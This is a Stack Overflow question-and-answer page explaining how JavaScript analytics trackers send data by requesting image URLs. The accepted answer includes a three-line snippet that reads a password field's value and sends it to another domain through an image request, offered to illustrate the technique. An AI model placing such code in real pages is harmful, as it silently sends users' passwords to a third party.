Anyone knows how Javascript Web Analytics tracker works?

Question

Anyone knows how Google analytics or Clicky works?

I'm stuck at the fact that I searched the entire http://static.getclicky.com/js file and didn't find any server requests in it. How does it send data without compromising its own security? Or else users could send false data by modifying the js.

pp19dd · Accepted Answer · 2012-06-12 12:53:04Z

4

Images: these libraries use a trick where they encode all the tracking information they want, append it to the image URL, and "send" it by requesting the image. Server-side parsing of that image filename decodes the information.

Suppose you had a password field that you wanted to send from mydomain.com to somedomain.com:

<input type='password' id='p' />

This javascript could send the contents by violating cross-site limits:

var t = document.getElementById('p').value;
var i = document.createElement('img');
i.src = 'http://somedomain.com/imagescript.php?p=' + t;

Cross-site scripting limitations don't apply to images, and when you compose the image URL request in JavaScript, no browser or logic in the world can account for all possibilities. Suppose we're lucky that GA is ethical and doesn't snag form fields.

answered Jun 12, 2012 at 12:53

pp19dd

3,6232 gold badges18 silver badges21 bronze badges

Sign up to request clarification or add additional context in comments.

7 Comments

Xpleria Over a year ago

Wow that's a nice one. But what happens to i.src? Is it discarded? And if they had to fetch the data for example ip address of the user/browser info/referring url etc, is it done in the php file or by javascript?

pp19dd Over a year ago

Some of the information (browser agent, IP address, possibly referring URL) is gleaned passively from HTTP headers. Other information, like page title, is encoded in the image URL and server-side processing decodes it.

Xpleria Over a year ago

thanks a lot for the answer. But why so much of coding just to send a bunch of variables? I can't really figure out what it is but I guess data is encoded before it is sent to avoid fraudant entries.

pp19dd Over a year ago

There is nothing in the JS code that would prevent fraudulent entries. Most of the clicky code deals with specializations, such as distinctions between content types, and revenue goals.

Xpleria Over a year ago

'and when you compose the image URL request in JavaScript, "no browser or logic in the world can account for all possibilities."' - what does this exactly mean?

|

Collectives™ on Stack Overflow

Anyone knows how Javascript Web Analytics tracker works?

1 Answer 1

7 Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

7 Comments

Your Answer

Sign up or log in

Post as a guest

Related